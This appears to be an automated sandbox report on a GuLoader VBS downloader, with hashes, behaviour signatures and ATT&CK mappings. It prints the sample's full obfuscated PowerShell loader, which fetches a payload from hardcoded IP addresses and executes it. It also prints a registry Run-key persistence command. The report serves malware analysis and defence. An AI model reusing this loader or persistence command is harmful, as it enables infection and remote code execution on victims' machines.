guloader | 2699b06a6d4b6af500d76bdc83644cad1be40445d64b97a7b1acfdb0bd937d25

Analysis

max time kernel
121s
max time network
123s
platform
windows7_x64
resource
win7-20231129-en
resource tags

arch:x64arch:x86image:win7-20231129-enlocale:en-usos:windows7-x64system
submitted
26-06-2024 02:48

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

028a85e18dd99a848c0effc35a2dfca733965b21ee7f493774f2b942a1be1c72.vbs
Size

186KB
MD5

8378482dfb00608563257af10d70c96d
SHA1

493b67c86ea9ca8ecb60f0388356ff0b8c1b5f40
SHA256

028a85e18dd99a848c0effc35a2dfca733965b21ee7f493774f2b942a1be1c72
SHA512

b31c395abe57132700c6056de274dbfa92fc105d0e35c73618ec004f0639acbd3411b252374ea4a14a805cb5e4dfd817e7ca7f9096a4931f22a060e7938ec3a7
SSDEEP

3072:BmN8GGebKjeK3ubth+DCFxKCvBB/WnHPP1w/sLJFJ281QIHz1y8mNy7Ey1MgKTZz:B08GxbKja3+DCbKCvBB/WnHXC/sLJFJ2

Score

10^/10

guloader downloader persistence

Malware Config

Signatures

Guloader,Cloudeye
A shellcode based downloader first seen in 2020.
downloader guloader
Blocklisted process makes network request 5 IoCs

Processes:

WScript.exepowershell.exe

flow pid process

3 2136 WScript.exe
6 2136 WScript.exe
9 2604 powershell.exe
12 2604 powershell.exe
13 2604 powershell.exe

flow	pid	process
3	2136	WScript.exe
6	2136	WScript.exe
9	2604	powershell.exe
12	2604	powershell.exe
13	2604	powershell.exe

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

Processes:

reg.exe

description	ioc	process
Set value (str)	\REGISTRY\USER\S-1-5-21-3627615824-4061627003-3019543961-1000\Software\Microsoft\Windows\CurrentVersion\Run\Corynebacterium = "%Chorobates% -w 1 $Ledebjlke=(Get-ItemProperty -Path 'HKCU:\\Triennales253\\').Udstraalingen;%Chorobates% ($Ledebjlke)"	reg.exe

Suspicious use of NtCreateThreadExHideFromDebugger 2 IoCs

Processes:

wab.exe

pid process

1204 wab.exe
1204 wab.exe
Suspicious use of NtSetInformationThreadHideFromDebugger 2 IoCs

Processes:

powershell.exewab.exe

pid process

2832 powershell.exe
1204 wab.exe
Suspicious use of SetThreadContext 1 IoCs

Processes:

powershell.exe

description pid process target process

PID 2832 set thread context of 1204 2832 powershell.exe wab.exe
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082
Modifies registry key 1 TTPs 1 IoCs

Modify Registry
T1112

Processes:

reg.exe

pid process

1744 reg.exe
Suspicious behavior: EnumeratesProcesses 3 IoCs

Processes:

powershell.exepowershell.exe

pid process

2604 powershell.exe
2832 powershell.exe
2832 powershell.exe
Suspicious behavior: MapViewOfSection 1 IoCs

Processes:

powershell.exe

pid process

2832 powershell.exe
Suspicious use of AdjustPrivilegeToken 2 IoCs

Processes:

powershell.exepowershell.exe

description pid process

Token: SeDebugPrivilege 2604 powershell.exe
Token: SeDebugPrivilege 2832 powershell.exe

pid	process
1204	wab.exe
1204	wab.exe

pid	process
2832	powershell.exe
1204	wab.exe

description	pid	process	target process
PID 2832 set thread context of 1204	2832	powershell.exe	wab.exe

pid	process
1744	reg.exe

pid	process
2604	powershell.exe
2832	powershell.exe
2832	powershell.exe

pid	process
2832	powershell.exe

description	pid	process
Token: SeDebugPrivilege	2604	powershell.exe
Token: SeDebugPrivilege	2832	powershell.exe

Suspicious use of WriteProcessMemory 28 IoCs

Processes:

WScript.exepowershell.exepowershell.exewab.execmd.exe

description	pid	process	target process
PID 2136 wrote to memory of 2604	2136	WScript.exe	powershell.exe
PID 2136 wrote to memory of 2604	2136	WScript.exe	powershell.exe
PID 2136 wrote to memory of 2604	2136	WScript.exe	powershell.exe
PID 2604 wrote to memory of 2624	2604	powershell.exe	cmd.exe
PID 2604 wrote to memory of 2624	2604	powershell.exe	cmd.exe
PID 2604 wrote to memory of 2624	2604	powershell.exe	cmd.exe
PID 2604 wrote to memory of 2832	2604	powershell.exe	powershell.exe
PID 2604 wrote to memory of 2832	2604	powershell.exe	powershell.exe
PID 2604 wrote to memory of 2832	2604	powershell.exe	powershell.exe
PID 2604 wrote to memory of 2832	2604	powershell.exe	powershell.exe
PID 2832 wrote to memory of 2636	2832	powershell.exe	cmd.exe
PID 2832 wrote to memory of 2636	2832	powershell.exe	cmd.exe
PID 2832 wrote to memory of 2636	2832	powershell.exe	cmd.exe
PID 2832 wrote to memory of 2636	2832	powershell.exe	cmd.exe
PID 2832 wrote to memory of 1204	2832	powershell.exe	wab.exe
PID 2832 wrote to memory of 1204	2832	powershell.exe	wab.exe
PID 2832 wrote to memory of 1204	2832	powershell.exe	wab.exe
PID 2832 wrote to memory of 1204	2832	powershell.exe	wab.exe
PID 2832 wrote to memory of 1204	2832	powershell.exe	wab.exe
PID 2832 wrote to memory of 1204	2832	powershell.exe	wab.exe
PID 1204 wrote to memory of 1748	1204	wab.exe	cmd.exe
PID 1204 wrote to memory of 1748	1204	wab.exe	cmd.exe
PID 1204 wrote to memory of 1748	1204	wab.exe	cmd.exe
PID 1204 wrote to memory of 1748	1204	wab.exe	cmd.exe
PID 1748 wrote to memory of 1744	1748	cmd.exe	reg.exe
PID 1748 wrote to memory of 1744	1748	cmd.exe	reg.exe
PID 1748 wrote to memory of 1744	1748	cmd.exe	reg.exe
PID 1748 wrote to memory of 1744	1748	cmd.exe	reg.exe

C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\028a85e18dd99a848c0effc35a2dfca733965b21ee7f493774f2b942a1be1c72.vbs"
1⤵
- Blocklisted process makes network request
- Suspicious use of WriteProcessMemory
PID:2136

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "cls;write 'Hardness Outbuzz Trinflgerne Forbindelsesofficers Befordringsmidlets Riposterende Ggegule Ansvarsfulderes Sindsoprrtes Cledge Parkeringslygters Tangsnarre Subgranularity Prjudicere Kompasser Communicatory Preadapt Narvside Unexceptionality Lovkataloger Hydrografer Lsehoveds Preshrink Dramaturgist';$Friturekogerens = 1;Function Fradmmtes($Ankles){$Pantstningerne=$Ankles.Length-$Friturekogerens;$Afskning='SUBSTRIN';$Afskning+='G';For( $Svrhedsgrads=1;$Svrhedsgrads -lt $Pantstningerne;$Svrhedsgrads+=2){$Hardness+=$Ankles.$Afskning.Invoke( $Svrhedsgrads, $Friturekogerens);}$Hardness;}function Dactyliographer($Sinuates){ & ($Bortfrsler) ($Sinuates);}$Pseudoinspirational=Fradmmtes 'PMFo zAi l,lGa /F5D.I0. ,( W iRn dDoCw s N,TC 1 0,.P0P;G WGibnA6,4 ;S x,6L4P;U GrUvK: 1 2 1F. 0,) GCeTc kBoF/ 2 0,1s0.0I1 0.1, HF.i rLeOf,o x /,1 2 1..E0H ';$Unbaptizes=Fradmmtes 'MU sHeWr,-LASg e.n t. ';$Befordringsmidlets=Fradmmtes 'Hh t.t pB:K/ / 1O9P4,.P5.9 .F3,1 . 1C3 7K/IWVa,tGtmeBs,t..Fp f bT>,hBt tAp : /p/,9 4 .I1 5R6H.,8,.S8C8 / Wca.t.tMeFs t ..pAfwbc ';$Multiferous=Fradmmtes 'B>r ';$Bortfrsler=Fradmmtes 'HiMe xJ ';$Alanyl='Ansvarsfulderes';$faraoens = Fradmmtes ',eFc h oA %Sahp pBdLaLtRaE%G\ T.v,a.nSgDs a rTbTe,jCdDeT.FAVf vB &K& geKc,h.oI KtS ';Dactyliographer (Fradmmtes 'H$Sg l oGbPaRl :CC yRc l.oRgArBa pPhC=E(FcMmHdS M/ c. G$RfCa,rUa oSernUsH)a ');Dactyliographer (Fradmmtes ' $,gSlRoOb aVlI:NF.oPrJbHi n dMeAl sAe s oCf f iUc eBr sR=E$ B eVfIoSrHdPr.iPnIg,sSmAi.dKl e.tHs..SsSp lui.t (.$FM,u l t iNf e rPo uSsI) ');Dactyliographer (Fradmmtes ' [ N.eTtV.,S.eGrSvSi c,eCPDoGi.n.tTM.a.nBaAg e,r.]i:C: S,e cTuIr,i,t.y PSr.o,t.ofcJoSlw = .[oN eAtM.FSSeMcVuTrsiMt.yTPArAoFt o c o,lRToy p eT]A:P: TGl sS1T2S ');$Befordringsmidlets=$Forbindelsesofficers[0];$Suevi= (Fradmmtes ',$TgClSo bNa.l : gJo uBrOdFhre.aOd =UN e,w -,O bcjWe,c,t, iSPy sStAeSm..TNAe,t..RWAe bJC.l.iCeRnUt');$Suevi+=$Cyclograph[1];Dactyliographer ($Suevi);Dactyliographer (Fradmmtes 'G$AgHo uCrDd hEe aSdV.PH ePa d,e,rEsH[.$NUTn b aPptt,iPzHeKs ]G=U$FPSs ebuEdUo,i,nJs pTiZrAaot i.oKnLaDlH ');$Cicisbeo=Fradmmtes 'k$Kg.o.u rDd h e.aGd ..Dso w,nslOoFaFdPF i.lbeI(R$ BGe f,o rod r.i.nMg s mFi.dSl.e tSsS,R$ L s,e h o.v e d sC) ';$Lsehoveds=$Cyclograph[0];Dactyliographer (Fradmmtes 'C$ g lGo b aTl.:.V iKlml a eAn s,=T(iT eEsHtS- Pma tNhC $.LFsLe,hWoBvRe dLs ), ');while (!$Villaens) {Dactyliographer (Fradmmtes 'p$Fg l,o bMa lA:SS dUsBu pApFeSr sA=.$ht.r,uDen ') ;Dactyliographer $Cicisbeo;Dactyliographer (Fradmmtes '.SAt aPr tM-.S lKe e,p R4R ');Dactyliographer (Fradmmtes 'F$,g.lVoSbPaDl,: VPi l lRa e.n so=n( T e,sWtF-.P.aTtGh, .$ L s e h oavSeTd,sD)S ') ;Dactyliographer (Fradmmtes 'B$ gTl oOb a l.:BT r i.n f l g e rSnseN= $ gSl oBb aFlU:TOauRt b,uFz.zT+.+ % $.F oDrGb,iHnSd e.l s eBscoAfFf i cSerrFs,.ScTo,u,n tB ') ;$Befordringsmidlets=$Forbindelsesofficers[$Trinflgerne];}$Albumen=332897;$Gerontal=26524;Dactyliographer (Fradmmtes ' $Og lPopbTa l :ISMiBn d.s oSpSr rKt.eAsK N=, TG.eEtM-MC o.nRtDeEnCt A$SLUsDe.h oSvAe d sC ');Dactyliographer (Fradmmtes '.$ gOlAoSbSa l.: n y.hva vMn. ,=P F[SSDyIsftTeCmR.,COo.n,vVe r.t ]P:S:.FSr.o,m B aUs eP6 4RS tOr i nfg.(E$ S iHnfdSs o.p rtr,tDe s.)H ');Dactyliographer (Fradmmtes 'S$AgMl.o bHaIl,:ST,a.n gIsBn,a r,r.eG =A ,[lS y.sDtPe m,. T ePx t .sE.nRc o,dRi.n gs].:G:AASS,C IRIr.SG.e tES tGr,iEnEgS(.$ nSy,hCa vPnD) ');Dactyliographer (Fradmmtes ' $ gSl o bCa,lG:PFTeFsCtNmRisd d a g eRn.e s =.$ TOa nOgms n,aMrSrVeC.RsSuBb.sTtOr i n.gf(i$ ABlDb u m e,n , $ GHeprNo nEtFaIl.)N ');Dactyliographer $Festmiddagenes;"
2⤵
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2604

C:\Windows\system32\cmd.exe
"C:\Windows\system32\cmd.exe" /c "echo %appdata%\Tvangsarbejde.Afv && echo t"
3⤵
PID:2624

C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe" "cls;write 'Hardness Outbuzz Trinflgerne Forbindelsesofficers Befordringsmidlets Riposterende Ggegule Ansvarsfulderes Sindsoprrtes Cledge Parkeringslygters Tangsnarre Subgranularity Prjudicere Kompasser Communicatory Preadapt Narvside Unexceptionality Lovkataloger Hydrografer Lsehoveds Preshrink Dramaturgist';$Friturekogerens = 1;Function Fradmmtes($Ankles){$Pantstningerne=$Ankles.Length-$Friturekogerens;$Afskning='SUBSTRIN';$Afskning+='G';For( $Svrhedsgrads=1;$Svrhedsgrads -lt $Pantstningerne;$Svrhedsgrads+=2){$Hardness+=$Ankles.$Afskning.Invoke( $Svrhedsgrads, $Friturekogerens);}$Hardness;}function Dactyliographer($Sinuates){ & ($Bortfrsler) ($Sinuates);}$Pseudoinspirational=Fradmmtes 'PMFo zAi l,lGa /F5D.I0. ,( W iRn dDoCw s N,TC 1 0,.P0P;G WGibnA6,4 ;S x,6L4P;U GrUvK: 1 2 1F. 0,) GCeTc kBoF/ 2 0,1s0.0I1 0.1, HF.i rLeOf,o x /,1 2 1..E0H ';$Unbaptizes=Fradmmtes 'MU sHeWr,-LASg e.n t. ';$Befordringsmidlets=Fradmmtes 'Hh t.t pB:K/ / 1O9P4,.P5.9 .F3,1 . 1C3 7K/IWVa,tGtmeBs,t..Fp f bT>,hBt tAp : /p/,9 4 .I1 5R6H.,8,.S8C8 / Wca.t.tMeFs t ..pAfwbc ';$Multiferous=Fradmmtes 'B>r ';$Bortfrsler=Fradmmtes 'HiMe xJ ';$Alanyl='Ansvarsfulderes';$faraoens = Fradmmtes ',eFc h oA %Sahp pBdLaLtRaE%G\ T.v,a.nSgDs a rTbTe,jCdDeT.FAVf vB &K& geKc,h.oI KtS ';Dactyliographer (Fradmmtes 'H$Sg l oGbPaRl :CC yRc l.oRgArBa pPhC=E(FcMmHdS M/ c. G$RfCa,rUa oSernUsH)a ');Dactyliographer (Fradmmtes ' $,gSlRoOb aVlI:NF.oPrJbHi n dMeAl sAe s oCf f iUc eBr sR=E$ B eVfIoSrHdPr.iPnIg,sSmAi.dKl e.tHs..SsSp lui.t (.$FM,u l t iNf e rPo uSsI) ');Dactyliographer (Fradmmtes ' [ N.eTtV.,S.eGrSvSi c,eCPDoGi.n.tTM.a.nBaAg e,r.]i:C: S,e cTuIr,i,t.y PSr.o,t.ofcJoSlw = .[oN eAtM.FSSeMcVuTrsiMt.yTPArAoFt o c o,lRToy p eT]A:P: TGl sS1T2S ');$Befordringsmidlets=$Forbindelsesofficers[0];$Suevi= (Fradmmtes ',$TgClSo bNa.l : gJo uBrOdFhre.aOd =UN e,w -,O bcjWe,c,t, iSPy sStAeSm..TNAe,t..RWAe bJC.l.iCeRnUt');$Suevi+=$Cyclograph[1];Dactyliographer ($Suevi);Dactyliographer (Fradmmtes 'G$AgHo uCrDd hEe aSdV.PH ePa d,e,rEsH[.$NUTn b aPptt,iPzHeKs ]G=U$FPSs ebuEdUo,i,nJs pTiZrAaot i.oKnLaDlH ');$Cicisbeo=Fradmmtes 'k$Kg.o.u rDd h e.aGd ..Dso w,nslOoFaFdPF i.lbeI(R$ BGe f,o rod r.i.nMg s mFi.dSl.e tSsS,R$ L s,e h o.v e d sC) ';$Lsehoveds=$Cyclograph[0];Dactyliographer (Fradmmtes 'C$ g lGo b aTl.:.V iKlml a eAn s,=T(iT eEsHtS- Pma tNhC $.LFsLe,hWoBvRe dLs ), ');while (!$Villaens) {Dactyliographer (Fradmmtes 'p$Fg l,o bMa lA:SS dUsBu pApFeSr sA=.$ht.r,uDen ') ;Dactyliographer $Cicisbeo;Dactyliographer (Fradmmtes '.SAt aPr tM-.S lKe e,p R4R ');Dactyliographer (Fradmmtes 'F$,g.lVoSbPaDl,: VPi l lRa e.n so=n( T e,sWtF-.P.aTtGh, .$ L s e h oavSeTd,sD)S ') ;Dactyliographer (Fradmmtes 'B$ gTl oOb a l.:BT r i.n f l g e rSnseN= $ gSl oBb aFlU:TOauRt b,uFz.zT+.+ % $.F oDrGb,iHnSd e.l s eBscoAfFf i cSerrFs,.ScTo,u,n tB ') ;$Befordringsmidlets=$Forbindelsesofficers[$Trinflgerne];}$Albumen=332897;$Gerontal=26524;Dactyliographer (Fradmmtes ' $Og lPopbTa l :ISMiBn d.s oSpSr rKt.eAsK N=, TG.eEtM-MC o.nRtDeEnCt A$SLUsDe.h oSvAe d sC ');Dactyliographer (Fradmmtes '.$ gOlAoSbSa l.: n y.hva vMn. ,=P F[SSDyIsftTeCmR.,COo.n,vVe r.t ]P:S:.FSr.o,m B aUs eP6 4RS tOr i nfg.(E$ S iHnfdSs o.p rtr,tDe s.)H ');Dactyliographer (Fradmmtes 'S$AgMl.o bHaIl,:ST,a.n gIsBn,a r,r.eG =A ,[lS y.sDtPe m,. T ePx t .sE.nRc o,dRi.n gs].:G:AASS,C IRIr.SG.e tES tGr,iEnEgS(.$ nSy,hCa vPnD) ');Dactyliographer (Fradmmtes ' $ gSl o bCa,lG:PFTeFsCtNmRisd d a g eRn.e s =.$ TOa nOgms n,aMrSrVeC.RsSuBb.sTtOr i n.gf(i$ ABlDb u m e,n , $ GHeprNo nEtFaIl.)N ');Dactyliographer $Festmiddagenes;"
3⤵
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: MapViewOfSection
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2832

C:\Windows\SysWOW64\cmd.exe
"C:\Windows\system32\cmd.exe" /c "echo %appdata%\Tvangsarbejde.Afv && echo t"
4⤵
PID:2636

C:\Program Files (x86)\windows mail\wab.exe
"C:\Program Files (x86)\windows mail\wab.exe"
4⤵
- Suspicious use of NtCreateThreadExHideFromDebugger
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Suspicious use of WriteProcessMemory
PID:1204

C:\Windows\SysWOW64\cmd.exe
"C:\Windows\System32\cmd.exe" /c REG ADD HKCU\Software\Microsoft\Windows\CurrentVersion\Run /f /v "Corynebacterium" /t REG_EXPAND_SZ /d "%Chorobates% -w 1 $Ledebjlke=(Get-ItemProperty -Path 'HKCU:\Triennales253\').Udstraalingen;%Chorobates% ($Ledebjlke)"
5⤵
- Suspicious use of WriteProcessMemory
PID:1748

C:\Windows\SysWOW64\reg.exe
REG ADD HKCU\Software\Microsoft\Windows\CurrentVersion\Run /f /v "Corynebacterium" /t REG_EXPAND_SZ /d "%Chorobates% -w 1 $Ledebjlke=(Get-ItemProperty -Path 'HKCU:\Triennales253\').Udstraalingen;%Chorobates% ($Ledebjlke)"
6⤵
- Adds Run key to start application
- Modifies registry key
PID:1744

Network

MITRE ATT&CK Matrix ATT&CK v13

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\DOXHJNMKGUOB9CSCAI4H.temp
Filesize
7KB

MD5
f4db69435280ae880e9a1b4715021a28

SHA1
ddd7b1d4bbe0cce4ea841f4abb15ff6e5c7c67bb

SHA256
baff366db8618705c8581e759f45471a98d009e14f358d4ccb03c03317f89292

SHA512
6ad67de0a4d7d43a07aff32b6f6ffab65752e134f465b96a222c7dd698d6fc9d858343b5ab7e0b04020c45d6cf3e7ab158f869a6ba93b1eca78aafbc2ccc2d07

Download Submit
C:\Users\Admin\AppData\Roaming\Tvangsarbejde.Afv
Filesize
467KB

MD5
ebc603f013333acdb9edeeec3419d49d

SHA1
d2ae4118a93874422ffa464dc225e7da16483a91

SHA256
d56548cb4c363a5243f55e8602b2f45050cdcc89fae1dbe79f38488a4cac509b

SHA512
ec13e53881778cda945c180452d8ab49b90068f136462b3c0e31789dc9306b178e4ade472f5ebcadbc420405773a0a303bb92bec16b666114c2e5b21e94967d1

Download Submit
memory/1204-36-0x0000000001780000-0x000000000643E000-memory.dmp

Filesize
76.7MB

Download
memory/1204-34-0x0000000000710000-0x0000000001772000-memory.dmp

Filesize
16.4MB

Download
memory/2604-24-0x000007FEF5FE0000-0x000007FEF697D000-memory.dmp

Filesize
9.6MB

Download
memory/2604-21-0x000007FEF5FE0000-0x000007FEF697D000-memory.dmp

Filesize
9.6MB

Download
memory/2604-22-0x000007FEF5FE0000-0x000007FEF697D000-memory.dmp

Filesize
9.6MB

Download
memory/2604-23-0x000007FEF5FE0000-0x000007FEF697D000-memory.dmp

Filesize
9.6MB

Download
memory/2604-16-0x000007FEF629E000-0x000007FEF629F000-memory.dmp

Filesize
4KB

Download
memory/2604-25-0x000007FEF629E000-0x000007FEF629F000-memory.dmp

Filesize
4KB

Download
memory/2604-17-0x000000001B680000-0x000000001B962000-memory.dmp

Filesize
2.9MB

Download
memory/2604-18-0x00000000027E0000-0x00000000027E8000-memory.dmp

Filesize
32KB

Download
memory/2604-20-0x000007FEF5FE0000-0x000007FEF697D000-memory.dmp

Filesize
9.6MB

Download
memory/2604-39-0x000007FEF5FE0000-0x000007FEF697D000-memory.dmp

Filesize
9.6MB

Download
memory/2604-19-0x000007FEF5FE0000-0x000007FEF697D000-memory.dmp

Filesize
9.6MB

Download
memory/2832-32-0x0000000006790000-0x000000000B44E000-memory.dmp

Filesize
76.7MB

Download